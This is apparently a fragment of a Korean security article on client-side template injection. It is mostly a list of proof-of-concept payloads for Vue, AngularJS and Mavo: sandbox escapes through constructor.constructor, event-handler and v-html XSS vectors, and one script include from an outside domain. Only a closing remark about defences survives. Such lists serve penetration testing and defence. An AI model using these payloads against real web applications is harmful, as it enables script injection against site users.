1

GET /test?q=abcd{{412*343}}efgh HTTP/1.1

1

abcd${{412*343}}efgh

1

abcd141316efgh

1

<div v-html="alert(45)"> aaa</div>

1

<input ng-focus=$event.view.alert(45)>

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11

[7*7]
[(1,alert)(1)]
<div mv-expressions="{{ }}">{{top.alert(1)}}</div>
[self.alert(1)]
javascript:alert(1)%252f%252f..%252fcss-images
[Omglol mod 1 mod self.alert (1) andlol]
[''=''or self.alert(lol)]
<a data-mv-if='1 or self.alert(1)'>test</a>
<div data-mv-expressions="lolx lolx">lolxself.alert('lol')lolx</div>
<a href=[javascript&':alert(1)']>test</a>
[self.alert(1)mod1]

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15

{{toString().constructor.constructor('alert(1)')()}}
return new Function(code)
{{_c.constructor('alert(1)')()}}
<p v-show="_c.constructor`alert(1)`()">
<x v-on:click='_b.constructor`alert(1)`()'>click</x>
<x v-bind:a='_b.constructor`alert(1)`()'>
<x v-bind:is="'script'" src="//14.rs" />
<x is=script src=//⑭.₨>
<img src @error="e=$event.path;e[e.length-1].alert(1)">
<img src @error="e=$event.path.pop().alert(1)">
<img src @error="e=$event.composedPath().pop().alert(1)">
<img src @error=this.alert(1)>
{{-function(){this.alert(1)}()}}
<svg @load=this.alert(1)>
<svg@load=this.alert(1)>

1
2

{{_c.constructor('alert(1)')()}}  // (32 bytes)
{{_b.constructor`alert(1)`()}}    // (30 bytes)

1
2
3
4
5

{{constructor.constructor('alert(1)')()}}
{{[].pop.constructor&#40'alert\u00281\u0029'&#41&#40&#41}}
{{0[a='constructor'][a]('alert(1)')()}}
{{$eval.constructor('alert(1)')()}}
{{$on.constructor('alert(1)')()}}

1
2
3
4

{ }
[ ]
< >
등 XSS 대응방안과 유사합니다.